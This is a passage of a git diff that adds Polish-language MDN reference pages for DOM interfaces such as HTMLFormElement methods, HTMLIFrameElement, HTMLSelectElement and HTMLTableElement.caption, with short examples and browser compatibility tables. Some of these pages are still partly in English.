+<p>{{ languages( { "en": "en/DOM/form.name" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/reset/index.html b/files/pl/web/api/htmlformelement/reset/index.html new file mode 100644 index 0000000000..919b982cae --- /dev/null +++ b/files/pl/web/api/htmlformelement/reset/index.html @@ -0,0 +1,37 @@ +--- +title: HTMLFormElement.reset +slug: Web/API/HTMLFormElement/reset +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/reset +--- +<p>{{ APIRef }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><code>reset</code> przywraca formularz do jego stanu początkowego.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>HTMLFormElement</i>.reset() +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">document.forms["myform"].reset(); +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Metoda ta robi to samo, co kliknięcie przycisku Wyczyść w formularzu.</p> + +<p>Jeśli kontrolka formularza (jak np. przycisk Wyczyść) posiada nazwę lub id to przycisk <var>Wyczyść</var> będzie krył czyszczenie formularza.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76767677">DOM Level 2 HTML: reset</a></p> + +<p>{{ languages( { "en": "en/DOM/form.reset" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/submit/index.html b/files/pl/web/api/htmlformelement/submit/index.html new file mode 100644 index 0000000000..078d02d4f5 --- /dev/null +++ b/files/pl/web/api/htmlformelement/submit/index.html @@ -0,0 +1,37 @@ +--- +title: HTMLFormElement.submit +slug: Web/API/HTMLFormElement/submit +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/submit +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><code>submit</code> wysyła formularz.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>HTMLFormElement</i>.submit() +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">document.forms["myform"].submit() +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Ta metoda działa tak samo jak naciśnięcie przycisku 'Wyślij' w formularzu.</p> + +<p>Jeśli kontrolka formularza (taka jak przycisk Wyślij) posiada nazwę lub id zmiennej <var>submit</var> to będzie ona maskowała metodę submit formularza.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76767676">DOM Level 2 HTML: submit</a></p> + +<p>{{ languages( { "ja": "ja/DOM/form.submit", "en": "en/DOM/form.submit" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/target/index.html b/files/pl/web/api/htmlformelement/target/index.html new file mode 100644 index 0000000000..f52fbe974b --- /dev/null +++ b/files/pl/web/api/htmlformelement/target/index.html @@ -0,0 +1,35 @@ +--- +title: HTMLFormElement.target +slug: Web/API/HTMLFormElement/target +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/target +--- +<p> </p> + +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>target</b> pobiera/ustawia element docelowy działania (np., w której ramce ma być wczytana zawartość strony).</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>string</i> = form.target +form.target = +<i>string</i> +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">myForm.target = document.frames[1].name; +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-6512890">DOM Level 2 HTML: target</a></p> + +<p>{{ languages( { "en": "en/DOM/form.target" } ) }}</p> diff --git a/files/pl/web/api/htmliframeelement/index.html b/files/pl/web/api/htmliframeelement/index.html new file mode 100644 index 0000000000..eaf5bb4fcb --- /dev/null +++ b/files/pl/web/api/htmliframeelement/index.html @@ -0,0 +1,288 @@ +--- +title: HTMLIFrameElement +slug: Web/API/HTMLIFrameElement +tags: + - API + - HTML DOM + - Interfejs + - Potrzebny przegląd + - Referencja +translation_of: Web/API/HTMLIFrameElement +--- +<div>{{APIRef("HTML DOM")}}</div> + +<p>Interfejs <strong><code>HTMLIFrameElement</code></strong> dostarcza specjalne właściwości i metody (oprócz tych dziedziczonych po {{domxref("HTMLElement")}}) do manipulowania rozkładem i prezentacją wewnętrznych elementów ramki.</p> + +<h2 id="Właściwości">Właściwości</h2> + +<p><em>Dziedziczy właściwości od rodzica, {{domxref("HTMLElement")}}</em>.</p> + +<dl> + <dt>{{domxref("HTMLIFrameElement.align")}} {{obsolete_inline}}</dt> + <dd>{{domxref("DOMString")}} określający zawijanie ramki w stosunku do otaczającego kontekstu.</dd> + <dt>{{domxref("HTMLIFrameElement.allowfullscreen")}} {{experimental_inline}}</dt> + <dd>{{domxref("Boolean")}} określa, czy ramka ma zostać umieszczona w trybie pełnoekranowym. Zobacz <a href="/pl-PL/docs/DOM/Using_full-screen_mode">Używanie trybu pełnoekranowego</a> dla szczegółów.</dd> + <dt>{{domxref("HTMLIFrameElement.contentDocument")}} {{readonlyInline}}</dt> + <dd>Zwraca obiekt {{domxref("Document")}}, reprezentujący aktualny kontekst przeglądania w ramce.</dd> + <dt>{{domxref("HTMLIFrameElement.contentWindow")}} {{readonlyInline}}</dt> + <dd>Zwraca obiekt {{domxref("WindowProxy")}}, referencję do okna przeglądarki w ramce.</dd> + <dt>{{domxref("HTMLIFrameElement.frameBorder")}} {{obsolete_inline}}</dt> + <dd>{{domxref("DOMString")}} określający, czy tworzyć obramowania między ramkami.</dd> + <dt>{{domxref("HTMLIFrameElement.height")}}</dt> + <dd>{{domxref("DOMString")}} reprezentujący atrybut {{htmlattrxref("height", "iframe")}} oznaczający wysokość ramki.</dd> + <dt>{{domxref("HTMLIFrameElement.longDesc")}} {{obsolete_inline}}</dt> + <dd>{{domxref("DOMString")}} zawierający URI długiego opisu ramki.</dd> + <dt>{{domxref("HTMLIFrameElement.marginHeight")}} {{obsolete_inline}}</dt> + <dd>{{domxref("DOMString")}} oznaczający wysokość marginesu.</dd> + <dt>{{domxref("HTMLIFrameElement.marginWidth")}} {{obsolete_inline}}</dt> + <dd>{{domxref("DOMString")}} oznaczający szerokość marginesu.</dd> + <dt>{{domxref("HTMLIFrameElement.name")}}</dt> + <dd>{{domxref("DOMString")}} oznaczający atrybut {{htmlattrxref("name", "iframe")}}, zawierający nazwę ramki.</dd> + <dt>{{domxref("HTMLIFrameElement.sandbox")}}</dt> + <dd>{{domxref("DOMSettableTokenList")}} oznaczający atrybut {{htmlattrxref("sandbox", "iframe")}}, oznaczając dodatkowe ograniczenia na zachowanie zagnieżdżonej zawartości.</dd> + <dt>{{domxref("HTMLIFrameElement.scrolling")}} {{obsolete_inline}}</dt> + <dd>{{domxref("DOMString")}}, od którego zależy, czy przeglądarka ma dostarczyć paski przewijania.</dd> + <dt>{{domxref("HTMLIFrameElement.seamless")}} {{experimental_inline}}</dt> + <dd>{{domxref("Boolean")}}, odzwierciedlający atrybut {{htmlattrxref("seamless", "iframe")}} , oznaczający, że ramkę należy wyświetlać bezszwowo wewnątrz dokumentu rodzica.</dd> + <dt>{{domxref("HTMLIFrameElement.src")}}</dt> + <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "iframe")}} HTML attribute, containing the address of the content to be embedded.</dd> + <dt>{{domxref("HTMLIFrameElement.srcdoc")}}</dt> + <dd>Is a {{domxref("DOMString")}} that represents the content to display in the frame.</dd> + <dt>{{domxref("HTMLIFrameElement.width")}}</dt> + <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("width", "iframe")}} HTML attribute, indicating the width of the frame.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<p><em>Dziedziczy właściwości od rodzica, {{domxref("HTMLElement")}}</em>.</p> + +<dl> + <dt>{{domxref("HTMLIFrameElement.setNfcFocus")}}</dt> + <dd>Część <a href="/en-US/docs/Web/API/Using_the_Browser_API">Browser API</a> systemu Firefox OS, ustala, czy element {{htmlelement("iframe")}} może otrzymać zdarzenie <a href="/en-US/docs/Web/API/NFC_API">NFC</a>.</dd> +</dl> + +<h2 id="Historia_specyfikacji">Historia specyfikacji</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Opis</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "the-iframe-element.html#the-iframe-element", "HTMLIFrameElement")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Dodano właściwość <code>allowFullscreen</code>.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-iframe-element", "HTMLIFrameElement")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Następujące właściwości uznano za przestarzałe: <code>scrolling</code>, <code>marginWidth</code>, <code>marginHeight</code>, <code>longDesc</code>, <code>frameBorder</code>, and <code>align</code>.<br> + Te zostały dodane: <code>srcdoc</code>, <code>sandbox</code>, <code>seamless</code>, and <code>contentWindow</code>.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-50708718', 'HTMLIFrameElement')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td>Dodano właściwość <code>contentDocument.</code></td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-html.html#ID-50708718', 'HTMLIFrameElement')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Początkowa definicja.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybliność_przeglądarek">Kompatybliność przeglądarek</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Właściwość</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>(Tak)</td> + <td>1.0 (1.7 lub wcześniejsza)</td> + <td>(Tak)</td> + <td>(Tak)</td> + <td>(Tak)</td> + </tr> + <tr> + <td><code>srcdoc</code></td> + <td>4</td> + <td>{{CompatGeckoDesktop(25)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>sandbox</code></td> + <td>4</td> + <td>{{CompatGeckoDesktop(17)}} [1]</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>seamless</code> {{experimental_inline}}</td> + <td>4</td> + <td>Nieobsługiwane</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>contentDocument</code></td> + <td>(Tak)</td> + <td>(Tak)</td> + <td>8.0 (dla wcześniejszych wersji używaj <code>HTMLIFrameElement.contentWindow.document</code>)</td> + <td>(Tak)</td> + <td>(Tak)</td> + </tr> + <tr> + <td><code>contentWindow</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>(Tak)</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>allowFullScreen</code> {{experimental_inline}}</td> + <td>17 {{property_prefix("-webkit")}}<br> + <em>Tylko codzienne wydania testowe</em></td> + <td>{{compatGeckoDesktop(9.0)}} {{property_prefix("-moz")}}<br> + {{compatGeckoDesktop(18.0)}}</td> + <td>Nieobsługiwane</td> + <td>Nieobsługiwane</td> + <td>Nieobsługiwane</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>(Tak)</td> + <td>{{CompatGeckoMobile(1.0)}}</td> + <td>(Tak)</td> + <td>(Tak)</td> + <td>(Tak)</td> + </tr> + <tr> + <td><code>srcdoc</code></td> + <td>4</td> + <td>{{CompatGeckoMobile(25)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>sandbox</code></td> + <td>4</td> + <td>{{CompatGeckoMobile(17)}} [1]</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>seamless</code> {{experimental_inline}}</td> + <td>4</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>contentDocument</code></td> + <td>(Tak)</td> + <td>(Tak)</td> + <td>{{CompatUnknown}}</td> + <td>(Tak)</td> + <td>(Tak)</td> + </tr> + <tr> + <td><code>contentWindow</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>allowFullScreen</code> {{experimental_inline}}</td> + <td>17 {{property_prefix("-webkit")}}<br> + <em>Tylko codzienne wydania testowe</em></td> + <td>{{compatGeckoMobile(9.0)}} {{property_prefix("-moz")}}<br> + {{compatGeckoMobile(18.0)}}</td> + <td>Nieobsługiwane</td> + <td>Nieobsługiwane</td> + <td>Nieobsługiwane</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Wcześniej, <code>sandbox</code> był obiektem {{domxref("DOMString")}} a nie {{domxref("DOMSettableTokenList")}}. Naprawiono to w <a href="/en-US/Firefox/Releases/29/Site_Compatibility">Gecko 29.0</a> {{geckoRelease(29)}}) ({{bug(845067)}}). Inne przeglądarki mogą wciąż implementować to jako <code>DOMString</code> ponieważ to późna zmiana w speyfikacji.</p> + +<h3 id="Uwagi_do_Firefox_OS">Uwagi do Firefox OS</h3> + +<p>Firefox OS rozszerza <code>HTMLIFrameElement</code> o obsługę elementów iframe przeglądarki. Te metody stworzono dla <a href="/pl-PL/docs/Mozilla/Firefox_OS/Security/Application_security">uprzywilejowanych aplikacji</a> które chcą zaimplementować przeglądarkę jak aplikację na urządzenia z Firefox OS.Wtedy <code>HTMLIFrameElement</code> dziedziczy też od interfejsu {{domxref("EventTarget")}}. To learn how to implement such applications, see the <a href="/pl-PL/docs/WebAPI/Browser">Używanie API przeglądarki</a> article.</p> + +<dl> + <dt>{{domxref("HTMLIFrameElement.setVisible()","HTMLIFrameElement.setVisible(visible)")}}</dt> + <dd>Pozwala bezpośrednio zmienić widoczność ramek.</dd> + <dt>{{domxref("HTMLIFrameElement.getVisible()","HTMLIFrameElement.getVisible()")}}</dt> + <dd>Zwraca obecny stan widoczności ramki obiektem {{domxref("DOMRequest")}}.</dd> + <dt>{{domxref("HTMLIFrameElement.sendMouseEvent()","HTMLIFrameElement.sendMouseEvent(type, x, y, button, clickCount, modifiers)")}}</dt> + <dd>Wysyła zdarzenie myszy do przeglądarki.</dd> + <dt>{{domxref("HTMLIFrameElement.sendTouchEvent()","HTMLIFrameElement.sendTouchEvent(type, identifiers, touchesX, touchesY,radiisX, radiisY, rotationAngles, forces,count, modifiers)")}}</dt> + <dd>Wysyła zdarzenie dotknięcia do przeglądarki.</dd> + <dt>{{domxref("HTMLIFrameElement.goBack()","HTMLIFrameElement.goBack()")}}</dt> + <dd>Cofa przeglądarkę o 1 stronę w historii.</dd> + <dt>{{domxref("HTMLIFrameElement.goForward()","HTMLIFrameElement.goForward()")}}</dt> + <dd>Przechodzi dalej o 1 stronę w historii.</dd> + <dt>{{domxref("HTMLIFrameElement.reload()","HTMLIFrameElement.reload()")}}</dt> + <dd>Odświeża (ładuje ponownie) stronę internetową w przeglądarce.</dd> + <dt>{{domxref("HTMLIFrameElement.stop()","HTMLIFrameElement.stop()")}}</dt> + <dd>Zatrzymuje ładowanie zawartości ramki.</dd> + <dt>{{domxref("HTMLIFrameElement.purgeHistory()","HTMLIFrameElement.purgeHistory()")}}</dt> + <dd>Pozwala wyczyścić historię przeglądania.</dd> + <dt>{{domxref("HTMLIFrameElement.getScreenshot()","HTMLIFrameElement.getScreenshot(maxWidth, maxHeight)")}}</dt> + <dd>Robi zrzut ekranu, skalując do go rozmiaru <code>maxWidth</code> na <code>maxHeight</code> pikseli. Zwraca obiekt {{domxref("DOMRequest")}}.</dd> + <dt>{{domxref("HTMLIFrameElement.addNextPaintListener()","HTMLIFrameElement.addNextPaintListener()")}}</dt> + <dd>Dodaje odbiorcę zdarzenia powiadomianego, gdy ramka jest gotowa do odmalowania po raz pierwszy (Powiadamia się go, gdy pierwsze zdarzenie {{event("MozAfterPaint")}} jest odbierane z ramki.)</dd> + <dt>{{domxref("HTMLIFrameElement.removeNextPaintListener()","HTMLIFrameElement.removeNextPaintListener()")}}</dt> + <dd>Usuwa odbiorcę dodanego przez poprzednią funkcję.</dd> + <dt>{{domxref("HTMLIFrameElement.getCanGoBack()","HTMLIFrameElement.getCanGoBack()")}}</dt> + <dd>Zwraca obiekt {{domxref("DOMRequest")}} którego składowa <code>result</code> oznacza możliwość powrotu.</dd> + <dt>{{domxref("HTMLIFrameElement.getCanGoForward()","HTMLIFrameElement.getCanGoForward()")}}</dt> + <dd>Zwraca obiekt {{domxref("DOMRequest")}} którego składowa <code>result</code> oznacza możliwość powrotu.</dd> +</dl> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>Element HTML implementujący ten interfejs: {{HTMLElement("iframe")}}</li> +</ul> diff --git a/files/pl/web/api/htmlselectelement/index.html b/files/pl/web/api/htmlselectelement/index.html new file mode 100644 index 0000000000..967409aadc --- /dev/null +++ b/files/pl/web/api/htmlselectelement/index.html @@ -0,0 +1,166 @@ +--- +title: HTMLSelectElement +slug: Web/API/HTMLSelectElement +tags: + - API + - HTML DOM + - HTMLSelectElement + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLSelectElement +--- +<div>{{APIRef("HTML DOM")}}</div> + +<p>The <code><strong>HTMLSelectElement</strong></code> interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.</p> + +<p>{{InheritanceDiagram(600, 120)}}</p> + +<h2 id="Properties">Properties</h2> + +<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLSelectElement.autofocus")}}</dt> + <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}</dd> + <dt>{{domxref("HTMLSelectElement.disabled")}}</dt> + <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.</dd> + <dt>{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}</dt> + <dd>An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns <code>null</code>.</dd> + <dt>{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}</dt> + <dd>A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.</dd> + <dt>{{domxref("HTMLSelectElement.length")}}</dt> + <dd>An <code>unsigned long</code> The number of {{HTMLElement("option")}} elements in this <code>select</code> element.</dd> + <dt>{{domxref("HTMLSelectElement.multiple")}}</dt> + <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.</dd> + <dt>{{domxref("HTMLSelectElement.name")}}</dt> + <dd>A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.</dd> + <dt>{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}</dt> + <dd>An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} ({{domxref("HTMLOptionElement")}}) elements contained by this element.</dd> + <dt>{{domxref("HTMLSelectElement.required")}}</dt> + <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}</dd> + <dt>{{domxref("HTMLSelectElement.selectedIndex")}}</dt> + <dd>A <code>long</code> reflecting the index of the first selected {{HTMLElement("option")}} element. The value <code>-1</code> indicates no element is selected.</dd> + <dt>{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}</dt> + <dd>An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.</dd> + <dt>{{domxref("HTMLSelectElement.size")}}</dt> + <dd>A <code>long</code> reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is <code>true</code>, in which case it is 4.</dd> + <dt>{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}</dt> + <dd>A {{domxref("DOMString")}} represeting the form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</dd> + <dt>{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}</dt> + <dd>A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</dd> + <dt>{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}</dt> + <dd>A {{domxref("ValidityState")}} reflecting the validity state that this control is in.</dd> + <dt>{{domxref("HTMLSelectElement.value")}}</dt> + <dd>A {{domxref("DOMString")}} reflecting the value of the form control. Returns the <code>value</code> property of the first selected option element if there is one, otherwise the empty string.</dd> + <dt>{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}</dt> + <dd>A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is <code>false</code> if any conditions bar it from constraint validation.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLSelectElement.add()")}}</dt> + <dd>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</dd> + <dt>{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}</dt> + <dd>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd> + <dt>{{domxref("HTMLSelectElement.checkValidity()")}}</dt> + <dd>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element (and returns <code>false</code>).</dd> + <dt>{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}</dt> + <dd>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd> + <dt>{{domxref("HTMLSelectElement.item()")}}</dt> + <dd>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</dd> + <dt>{{domxref("HTMLSelectElement.namedItem()")}}</dt> + <dd>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</dd> + <dt>{{domxref("HTMLSelectElement.remove()")}}</dt> + <dd>Removes the element at the specified index from the options collection for this <code>select</code> element.</dd> + <dt>{{domxref("HTMLSelectElement.reportValidity()")}}</dt> + <dd>This method reports the problems with the constraints on the element, if any, to the user. If there are problems, it fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element, and returns <code>false</code>; if there are no problems, it returns <code>true</code>.</dd> + <dt>{{domxref("HTMLSelectElement.setCustomValidity()")}}</dt> + <dd>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</dd> +</dl> + +<h2 id="Events">Events</h2> + +<p>Listen to these events using {{domxref("EventTarget/addEventListener", "addEventListener()")}} or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface:</p> + +<dl> + <dt>{{domxref("HTMLElement/input_event", "input")}} event</dt> + <dd>Fires when the <code>value</code> of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.</dd> +</dl> + +<h2 id="Example">Example</h2> + +<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3> + +<pre class="brush: js">/* assuming we have the following HTML +<select id='s'> + <option>First</option> + <option selected>Second</option> + <option>Third</option> +</select> +*/ + +var select = document.getElementById('s'); + +// return the index of the selected option +console.log(select.selectedIndex); // 1 + +// return the value of the selected option +console.log(select.options[select.selectedIndex].value) // Second +</pre> + +<p>A better way to track changes to the user's selection is to watch for the {{domxref("HTMLElement/change_event", "change")}} event to occur on the <code><select></code>. This will tell you when the value changes, and you can then update anything you need to. See <a href="/en-US/docs/Web/API/HTMLElement/change_event#<select>_element">the example provided</a> in the documentation for the <code>change</code> event for details.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br> + It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br> + The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br> + The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br> + <code>length</code> now returns an <code>unsigned long</code>.</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("api.HTMLSelectElement")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The {{HTMLElement("select")}} HTML element, which implements this interface.</li> +</ul> diff --git a/files/pl/web/api/htmltableelement/caption/index.html b/files/pl/web/api/htmltableelement/caption/index.html new file mode 100644 index 0000000000..971efe057b --- /dev/null +++ b/files/pl/web/api/htmltableelement/caption/index.html @@ -0,0 +1,39 @@ +--- +title: HTMLTableElement.caption +slug: Web/API/HTMLTableElement/caption +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLTableElement/caption +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>caption</b> zwraca podpis tabeli.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>string</i> = table.caption +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">if (table.caption) { + // zrób coś z podpisem +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Własność ta zwraca void dla tabel bez elementu caption.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-14594520">caption</a></p> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-12035137">Interface HTMLTableCaptionElement</a></p> + +<p>{{ languages( { "en": "en/DOM/table.caption", "fr": "fr/DOM/table.caption" } ) }}</p> diff --git a/files/pl/web/api/htmltableelement/index.html b/files/pl/web/api/htmltableelement/index.html new file mode 100644 index 0000000000..d5d5a838ca --- /dev/null +++ 